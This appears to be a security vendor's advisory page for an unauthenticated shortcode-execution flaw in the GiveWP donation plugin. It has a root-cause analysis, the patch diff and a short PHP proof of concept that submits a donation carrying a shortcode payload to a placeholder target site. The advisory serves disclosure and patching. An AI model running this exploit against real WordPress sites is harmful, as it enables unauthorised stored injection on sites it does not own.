Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-66533: GiveWP <= 4.13.1 – Unauthenticated Arbitrary Shortcode Execution (give)

Plugin give
Severity Medium (CVSS 6.5)
CWE 94
Vulnerable Version 4.13.1
Patched Version 4.13.2
Disclosed January 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-66533:
The vulnerability is an unauthenticated arbitrary shortcode execution flaw in the GiveWP WordPress plugin versions up to and including 4.13.1. The issue resides in the donor wall shortcode rendering functionality, which fails to sanitize user-supplied shortcode content before processing it with WordPress’s do_shortcode function. This allows attackers to execute arbitrary shortcodes without authentication.

Root Cause:
The vulnerability originates in the `render_shortcode` method within the `Give_Donor_Wall` class, located in `/give/includes/donors/class-give-donor-wall.php`. The method processes shortcode attributes via `give_clean($atts)` on line 122 but does not sanitize the donor comment content before output. The donor comment data, which can contain user-supplied shortcode syntax, is passed directly to the template and ultimately processed by WordPress’s `do_shortcode` function. The affected code path involves the donor wall rendering logic that fetches and displays donor comments without stripping shortcode tags.

Exploitation:
An attacker can exploit this vulnerability by submitting a donation with a malicious shortcode in the comment field. The shortcode will be stored in the database. When the donor wall shortcode `[give_donor_wall]` is rendered on any public page, the plugin retrieves and processes the stored comment through `do_shortcode`, executing the attacker’s shortcode. The attack vector requires no authentication, as the comment submission is typically open to unauthenticated users during the donation process. The payload would be a WordPress shortcode like `[malicious_shortcode]` or `[shortcode attribute=”value”]`.

Patch Analysis:
The patch adds `strip_shortcodes()` calls to sanitize donor name and comment output before rendering. In `/give/includes/donors/class-give-donor-wall.php` line 149, the patch inserts `$html = strip_shortcodes($html);` after obtaining the HTML output from the template. This strips all shortcode tags from the donor comment HTML before any further processing. Additional fixes in `/give/src/Campaigns/Blocks/CampaignDonations/resources/views/render.php` line 93 and `/give/src/Campaigns/Blocks/CampaignDonors/resources/views/render.php` line 96 apply `strip_shortcodes()` to donor names. The patch prevents shortcode execution by removing shortcode syntax from user-controlled data before it reaches `do_shortcode`.

Impact:
Successful exploitation allows unauthenticated attackers to execute arbitrary WordPress shortcodes. This can lead to various secondary impacts depending on available shortcodes, including cross-site scripting (XSS), privilege escalation, remote code execution via shortcodes that execute PHP code, sensitive data disclosure, or server-side request forgery. The vulnerability affects all sites using GiveWP versions <=4.13.1 with the donor wall feature enabled.

Differential between vulnerable and patched code

Code Diff
--- a/give/build/adminBlocks.asset.php
+++ b/give/build/adminBlocks.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-server-side-render'), 'version' => 'ff758b5135ebdbb80f9a');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-server-side-render'), 'version' => 'dbb098c525a40bcb5325');
--- a/give/build/assets/dist/js/donor-dashboards-block.asset.php
+++ b/give/build/assets/dist/js/donor-dashboards-block.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-i18n'), 'version' => 'c3cc45f40cfb4f8764a1');
+<?php return array('dependencies' => array('react', 'wp-i18n'), 'version' => '75967e50423ec2e6d0d6');
--- a/give/build/campaignBlock.asset.php
+++ b/give/build/campaignBlock.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-element', 'wp-i18n', 'wp-keycodes'), 'version' => '9b84dbc8e89a8fd4ef09');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-element', 'wp-i18n', 'wp-keycodes'), 'version' => '24548ad77b07c15c57f4');
--- a/give/build/campaignBlocks.asset.php
+++ b/give/build/campaignBlocks.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n', 'wp-keycodes', 'wp-server-side-render', 'wp-url'), 'version' => 'beea90cc574fa3364f3b');
+<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n', 'wp-keycodes', 'wp-server-side-render', 'wp-url'), 'version' => '6f4be7028e0299b029fc');
--- a/give/build/campaignBlocksLandingPage.asset.php
+++ b/give/build/campaignBlocksLandingPage.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-i18n', 'wp-primitives', 'wp-server-side-render', 'wp-url'), 'version' => '0ca6d02a33000c0e251f');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-i18n', 'wp-primitives', 'wp-server-side-render', 'wp-url'), 'version' => 'b7db9447764871579da8');
--- a/give/build/campaignCommentsBlockApp.asset.php
+++ b/give/build/campaignCommentsBlockApp.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-api-fetch', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '21440790b5124d2603f5');
+<?php return array('dependencies' => array('react', 'wp-api-fetch', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '5cbd3620b484b2109b61');
--- a/give/build/campaignCoverBlock.asset.php
+++ b/give/build/campaignCoverBlock.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-core-data', 'wp-data', 'wp-i18n', 'wp-primitives'), 'version' => '630d46054aa781f5f468');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-core-data', 'wp-data', 'wp-i18n', 'wp-primitives'), 'version' => '8a2bec5d136d57fe053e');
--- a/give/build/campaignDonateButtonBlock.asset.php
+++ b/give/build/campaignDonateButtonBlock.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-core-data', 'wp-data', 'wp-i18n', 'wp-server-side-render', 'wp-url'), 'version' => 'bb78ff81c8d8a6ffa7ec');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-core-data', 'wp-data', 'wp-i18n', 'wp-server-side-render', 'wp-url'), 'version' => 'e462129ff863e9af5928');
--- a/give/build/campaignFormBlock.asset.php
+++ b/give/build/campaignFormBlock.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-server-side-render', 'wp-url'), 'version' => '4cbf5d9a5a095b7e53d7');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-server-side-render', 'wp-url'), 'version' => '21911f9a092862be7333');
--- a/give/build/campaignGoalBlock.asset.php
+++ b/give/build/campaignGoalBlock.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-core-data', 'wp-data', 'wp-i18n'), 'version' => '7ea3200420c98b2b2cf1');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-core-data', 'wp-data', 'wp-i18n'), 'version' => '3519038ef2e6dfeb37d2');
--- a/give/build/donationFormBlock.asset.php
+++ b/give/build/donationFormBlock.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-server-side-render'), 'version' => '67a4be21639c86dd01a2');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-server-side-render'), 'version' => '6af4696d4a09a13bb7ef');
--- a/give/build/elementorCampaignCommentsWidget.asset.php
+++ b/give/build/elementorCampaignCommentsWidget.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-api-fetch', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '2da34d48e655d6523d75');
+<?php return array('dependencies' => array('react', 'wp-api-fetch', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => 'b85453379242f6200372');
--- a/give/give.php
+++ b/give/give.php
@@ -6,7 +6,7 @@
  * Description: The most robust, flexible, and intuitive way to accept donations on WordPress.
  * Author: GiveWP
  * Author URI: https://givewp.com/
- * Version: 4.13.1
+ * Version: 4.13.2
  * Requires at least: 6.6
  * Requires PHP: 7.4
  * Text Domain: give
@@ -425,7 +425,7 @@
     {
         // Plugin version.
         if (!defined('GIVE_VERSION')) {
-            define('GIVE_VERSION', '4.13.1');
+            define('GIVE_VERSION', '4.13.2');
         }

         // Plugin Root File.
--- a/give/includes/donors/class-give-donor-wall.php
+++ b/give/includes/donors/class-give-donor-wall.php
@@ -79,42 +79,43 @@
 	}


-	/**
-	 * Displays donors in a grid layout.
-	 *
+    /**
+     * Displays donors in a grid layout.
+     *
+     * @since 4.13.2 add strip_shortcodes to the html output
      * @since 4.3.1 remove redundant _give_redirect_form_id() function.
      * @since 3.7.0 Sanitize attributes
      * @since 2.27.0 Moved AJAX nonce verification to ajax_handler method.
-	 * @since  2.2.0
-	 *
-	 * @param array $atts                {
-	 *                                   Optional. Attributes of the donor wall shortcode.
-	 *
-	 * @type int    $donors_per_page     Number of donors per page. Default '20'.
-	 * @type int    $form_id             The donation form to filter donors by. Default is all forms (no filter).
-	 * @type bool   $paged               Whether to paginate donors. Default 'true'.
-	 * @type string $ids                 A comma-separated list of donor IDs to display. Default empty.
-	 * @type string $columns             Maximum columns to display. Default 'best-fit'.
-	 *                                   Accepts 'best-fit', '1', '2', '3', '4'.
-	 * @type bool   $show_avatar         Whether to display the donor's gravatar image if available. Default 'true'.
-	 * @type bool   $show_name           Whether to display the donor's full name, first and last. Default 'true'.
-	 * @type bool   $show_company_name   Whether to display the donor's company name. Default 'false'.
-	 * @type bool   $show_total          Whether to display the donor's donation amount. Default 'true'.
-	 * @type bool   $show_comments       Whether to display the donor's comment if they left one. Default 'true'.
-	 * @type int    $comment_length      The number of words to display for the comments before a "Read more" field
-	 * @type int    $only_comments       Whether to display the donors only with comment. Default 'false'.
+     * @since  2.2.0
+     *
+     * @param array $atts                {
+     *                                   Optional. Attributes of the donor wall shortcode.
+     *
+     * @type int    $donors_per_page     Number of donors per page. Default '20'.
+     * @type int    $form_id             The donation form to filter donors by. Default is all forms (no filter).
+     * @type bool   $paged               Whether to paginate donors. Default 'true'.
+     * @type string $ids                 A comma-separated list of donor IDs to display. Default empty.
+     * @type string $columns             Maximum columns to display. Default 'best-fit'.
+     *                                   Accepts 'best-fit', '1', '2', '3', '4'.
+     * @type bool   $show_avatar         Whether to display the donor's gravatar image if available. Default 'true'.
+     * @type bool   $show_name           Whether to display the donor's full name, first and last. Default 'true'.
+     * @type bool   $show_company_name   Whether to display the donor's company name. Default 'false'.
+     * @type bool   $show_total          Whether to display the donor's donation amount. Default 'true'.
+     * @type bool   $show_comments       Whether to display the donor's comment if they left one. Default 'true'.
+     * @type int    $comment_length      The number of words to display for the comments before a "Read more" field
+     * @type int    $only_comments       Whether to display the donors only with comment. Default 'false'.
      * @type bool   $show_time Whether to display date of the last donation. Default 'true'.
-	 *
-	 * @type string $readmore_text       Link label for modal in which donor can read full comment.
-	 * @type string $loadmore_text       Button label which will load more donor comments.
-	 * @type int    $avatar_size         Avatar image size in pixels without the "px". Default "75"
-	 * @type string $orderby             The order in which you want the donations to appear.
-	 *                                   Currently we are using this attribute internally and, it will sort donations by created date.
-	 * @type string $order               The order in which you want the donors to appear. Accepts "ASC". "DESC".
-	 *
-	 * }
-	 * @return string|bool The markup of the form grid or false.
-	 */
+     *
+     * @type string $readmore_text       Link label for modal in which donor can read full comment.
+     * @type string $loadmore_text       Button label which will load more donor comments.
+     * @type int    $avatar_size         Avatar image size in pixels without the "px". Default "75"
+     * @type string $orderby             The order in which you want the donations to appear.
+     *                                   Currently we are using this attribute internally and, it will sort donations by created date.
+     * @type string $order               The order in which you want the donors to appear. Accepts "ASC". "DESC".
+     *
+     * }
+     * @return string|bool The markup of the form grid or false.
+     */
 	public function render_shortcode( $atts ) {
         $atts = give_clean($atts);

@@ -145,8 +146,11 @@

 			$html = ob_get_clean();

-			// Return only donor html.
-			if (
+            // Strip shortcodes to prevent execution of user-supplied shortcode syntax.
+            $html = strip_shortcodes($html);
+
+            // Return only donor html.
+            if (
 				isset( $atts['only_donor_html'] )
 				&& wp_doing_ajax()
 				&& $atts['only_donor_html']
--- a/give/src/Campaigns/Actions/RegisterCampaignBlocks.php
+++ b/give/src/Campaigns/Actions/RegisterCampaignBlocks.php
@@ -39,6 +39,10 @@
      */
     public function loadBlockEditorAssets(): void
     {
+        if (!is_admin()) {
+            return;
+        }
+
         give(LoadCampaignAdminOptions::class)();

         $handleName = 'givewp-campaign-blocks';
--- a/give/src/Campaigns/Blocks/CampaignDonations/resources/views/render.php
+++ b/give/src/Campaigns/Blocks/CampaignDonations/resources/views/render.php
@@ -90,7 +90,7 @@
                             <?php
                             printf(
                                 __('%s donated %s', 'give'),
-                                '<strong>' . esc_html(!$donation->isAnonymous ? $donation->donorName : __('Anonymous', 'give')) . '</strong>',
+                                '<strong>' . esc_html(!$donation->isAnonymous ? strip_shortcodes($donation->donorName) : __('Anonymous', 'give')) . '</strong>',
                                 '<strong>' . esc_html($donation->amount->formatToLocale()) . '</strong>'
                             );
                             ?>
--- a/give/src/Campaigns/Blocks/CampaignDonors/resources/views/render.php
+++ b/give/src/Campaigns/Blocks/CampaignDonors/resources/views/render.php
@@ -93,7 +93,7 @@

                     <div class="givewp-campaign-donors-block__donor-info">
                                     <span class="givewp-campaign-donors-block__donor-name"><?php
-                                        echo esc_html(!$donor->isAnonymous ? $donor->name : __('Anonymous', 'give')); ?></span>
+                                        echo esc_html(!$donor->isAnonymous ? strip_shortcodes($donor->name) : __('Anonymous', 'give')); ?></span>

                         <?php
                         if ($sortBy === 'top-donors' && $key < 3) : ?>
--- a/give/src/Campaigns/ServiceProvider.php
+++ b/give/src/Campaigns/ServiceProvider.php
@@ -216,7 +216,7 @@

         Hooks::addAction('rest_api_init', ActionsRegisterCampaignIdRestField::class);
         Hooks::addAction('init', ActionsRegisterCampaignBlocks::class);
-        Hooks::addAction('enqueue_block_editor_assets', ActionsRegisterCampaignBlocks::class, 'loadBlockEditorAssets');
+        Hooks::addAction('enqueue_block_assets', ActionsRegisterCampaignBlocks::class, 'loadBlockEditorAssets');
         Hooks::addAction('init', ActionsRegisterCampaignShortcodes::class);
     }

--- a/give/src/PaymentGateways/PayPalCommerce/AdminSettingFields.php
+++ b/give/src/PaymentGateways/PayPalCommerce/AdminSettingFields.php
@@ -313,17 +313,20 @@

                 <?php if ($this->merchantRepository->accountIsConnected()) :?>
                     <?php
-                    $reCheckAccountStatusUrl = add_query_arg(
-                        [
-                            'post_type' => 'give_forms',
-                            'page' => 'give-settings',
-                            'tab' => 'gateways',
-                            'section' => 'paypal',
-                            'group' => 'paypal-commerce',
-                            'paypalStatusCheck' => '1',
-                            'mode' => $merchantDetailsRepository->getMode()
-                        ],
-                        admin_url('edit.php')
+                    $reCheckAccountStatusUrl = wp_nonce_url(
+                        add_query_arg(
+                            [
+                                'post_type' => 'give_forms',
+                                'page' => 'give-settings',
+                                'tab' => 'gateways',
+                                'section' => 'paypal',
+                                'group' => 'paypal-commerce',
+                                'paypalStatusCheck' => '1',
+                                'mode' => $merchantDetailsRepository->getMode()
+                            ],
+                            admin_url('edit.php')
+                        ),
+                        'give_paypal_status_refresh'
                     );
                     ?>
                     <p>
--- a/give/src/PaymentGateways/PayPalCommerce/AjaxRequestHandler.php
+++ b/give/src/PaymentGateways/PayPalCommerce/AjaxRequestHandler.php
@@ -2,7 +2,6 @@

 namespace GivePaymentGatewaysPayPalCommerce;

-use GiveFrameworkHttpConnectServerClientConnectClient;
 use GivePaymentGatewaysPayPalCommerceModelsMerchantDetail;
 use GivePaymentGatewaysPayPalCommercePayPalCheckoutSdkProcessorResponseError;
 use GivePaymentGatewaysPayPalCommerceRepositoriesMerchantDetails;
@@ -51,7 +50,7 @@
     /**
      * @since 2.9.0
      *
-     * @var ConnectClient
+     * @var RefreshToken
      */
     private $refreshToken;

@@ -157,12 +156,18 @@
         $country = sanitize_text_field(wp_unslash($_GET['countryCode']));
         $accountType = sanitize_text_field(wp_unslash($_GET['accountType']));
         $mode = sanitize_text_field(wp_unslash($_GET['mode']));
+
+        // Generate a unique state token for CSRF protection on PayPal callback.
+        $stateToken = wp_generate_password(32, false);
+        set_transient('give_paypal_onboarding_state_' . $mode, $stateToken, HOUR_IN_SECONDS);
+
         $redirectUrl = add_query_arg(
             [
                 'tab' => 'gateways',
                 'section' => 'paypal',
                 'group' => 'paypal-commerce',
                 'mode' => $mode,
+                'give_paypal_state' => $stateToken,
             ],
             admin_url('edit.php?post_type=give_forms&page=give-settings')
         );
--- a/give/src/PaymentGateways/PayPalCommerce/onBoardingRedirectHandler.php
+++ b/give/src/PaymentGateways/PayPalCommerce/onBoardingRedirectHandler.php
@@ -215,6 +215,7 @@
     /**
      * Redirects the user to the account connected url
      *
+     * @since 4.13.2 Add nonce to redirect URL for CSRF protection.
      * @since 2.9.0
      */
     private function redirectAccountConnected()
@@ -222,16 +223,19 @@
         $this->refreshAccountStatus();

         wp_redirect(
-            add_query_arg(
-                [
-                    'post_type' => 'give_forms',
-                    'page' => 'give-settings',
-                    'tab' => 'gateways',
-                    'section' => 'paypal',
-                    'group' => 'paypal-commerce',
-                    'paypal-commerce-account-connected' => '1'
-                ],
-                admin_url('edit.php')
+            wp_nonce_url(
+                add_query_arg(
+                    [
+                        'post_type' => 'give_forms',
+                        'page' => 'give-settings',
+                        'tab' => 'gateways',
+                        'section' => 'paypal',
+                        'group' => 'paypal-commerce',
+                        'paypal-commerce-account-connected' => '1'
+                    ],
+                    admin_url('edit.php')
+                ),
+                'give_paypal_account_connected'
             )
         );

@@ -294,40 +298,71 @@
     /**
      * Returns whether or not the current request is for refreshing the account status
      *
+     * @since 4.13.2 Add nonce verification for CSRF protection.
      * @since 2.9.0
      *
      * @return bool
      */
     private function isStatusRefresh()
     {
-        return isset($_GET['paypalStatusCheck']) && Give_Admin_Settings::is_setting_page('gateways', 'paypal');
+        if (!isset($_GET['paypalStatusCheck']) || !Give_Admin_Settings::is_setting_page('gateways', 'paypal')) {
+            return false;
+        }
+
+        if (!isset($_GET['_wpnonce']) || !wp_verify_nonce($_GET['_wpnonce'], 'give_paypal_status_refresh')) {
+            return false;
+        }
+
+        return true;
     }

     /**
      * Return whether or not PayPal user redirect to GiveWP setting page after successful onboarding.
      *
+     * @since 4.13.2 Add state parameter verification for CSRF protection.
      * @since 2.9.0
      *
      * @return bool
      */
     private function isPayPalUserRedirected()
     {
-        return isset($_GET['merchantIdInPayPal']) && Give_Admin_Settings::is_setting_page('gateways', 'paypal');
+        if (!isset($_GET['merchantIdInPayPal']) || !Give_Admin_Settings::is_setting_page('gateways', 'paypal')) {
+            return false;
+        }
+
+        // Verify the state parameter to protect against CSRF attacks.
+        $mode = isset($_GET['mode']) && in_array($_GET['mode'], ['live', 'sandbox'], true) ? $_GET['mode'] : 'live';
+        $storedState = get_transient('give_paypal_onboarding_state_' . $mode);
+
+        if (!isset($_GET['give_paypal_state']) || !$storedState || !hash_equals($storedState, $_GET['give_paypal_state'])) {
+            return false;
+        }
+
+        // Delete the transient after successful verification to prevent replay attacks.
+        delete_transient('give_paypal_onboarding_state_' . $mode);
+
+        return true;
     }

     /**
      * Return whether or not PayPal account details saved.
      *
+     * @since 4.13.2 Add nonce verification for CSRF protection.
      * @since 2.9.0
      *
      * @return bool
      */
     private function isPayPalAccountDetailsSaved()
     {
-        return isset($_GET['paypal-commerce-account-connected']) && Give_Admin_Settings::is_setting_page(
-                'gateways',
-                'paypal'
-            );
+        if (!isset($_GET['paypal-commerce-account-connected']) || !Give_Admin_Settings::is_setting_page('gateways', 'paypal')) {
+            return false;
+        }
+
+        if (!isset($_GET['_wpnonce']) || !wp_verify_nonce($_GET['_wpnonce'], 'give_paypal_account_connected')) {
+            return false;
+        }
+
+        return true;
     }

     /**
--- a/give/vendor/composer/installed.php
+++ b/give/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'impress-org/give',
-        'pretty_version' => '4.13.1',
-        'version' => '4.13.1.0',
-        'reference' => '2e6bcbac315d9b736383a564bfbd99d6f38a1e95',
+        'pretty_version' => '4.13.2',
+        'version' => '4.13.2.0',
+        'reference' => 'deb5f3cda042959ada2445c0b65981ab014edff0',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -20,9 +20,9 @@
             'dev_requirement' => false,
         ),
         'impress-org/give' => array(
-            'pretty_version' => '4.13.1',
-            'version' => '4.13.1.0',
-            'reference' => '2e6bcbac315d9b736383a564bfbd99d6f38a1e95',
+            'pretty_version' => '4.13.2',
+            'version' => '4.13.2.0',
+            'reference' => 'deb5f3cda042959ada2445c0b65981ab014edff0',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-66533 - GiveWP <= 4.13.1 - Unauthenticated Arbitrary Shortcode Execution

<?php
// Configuration
$target_url = 'https://vulnerable-site.com/';

// This PoC demonstrates the vulnerability by submitting a donation with a malicious shortcode in the comment field.
// Note: This requires a functioning donation form on the target site.
// The shortcode will execute when the donor wall is displayed.

// Step 1: Identify a donation form ID
// Typically found by inspecting the page source for forms with class "give-form"
$form_id = 123; // Replace with actual form ID

// Step 2: Prepare donation data with malicious shortcode
$donation_data = [
    'give-form-id' => $form_id,
    'give-amount' => '10.00',
    'give_first' => 'Test',
    'give_last' => 'User',
    'give_email' => 'test@example.com',
    'give_comment' => '[gallery ids="1,2,3"]', // Example shortcode payload
    // Additional required fields may vary per form configuration
    'give-form-title' => 'Test Donation',
    'payment-mode' => 'manual',
    'give_currency' => 'USD',
    'card_name' => 'Test User',
    'card_number' => '4111111111111111',
    'card_cvc' => '123',
    'card_exp_month' => '12',
    'card_exp_year' => '2025'
];

// Step 3: Submit donation via POST to the donation form handler
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($donation_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Step 4: Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 5: Check if donation was successful
if ($http_code == 200 && strpos($response, 'donation-success') !== false) {
    echo "[+] Donation submitted successfully with malicious shortcode.n";
    echo "[+] The shortcode will execute when the donor wall ([give_donor_wall]) is displayed.n";
    echo "[+] To verify, visit a page containing the donor wall shortcode.n";
} else {
    echo "[-] Donation submission failed. HTTP Code: $http_coden";
    echo "[-] The form may require different fields or validation.n";
}

// Note: For actual testing, use a shortcode that produces visible output,
// such as [caption] or [gallery] shortcodes that are enabled on the target site.
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School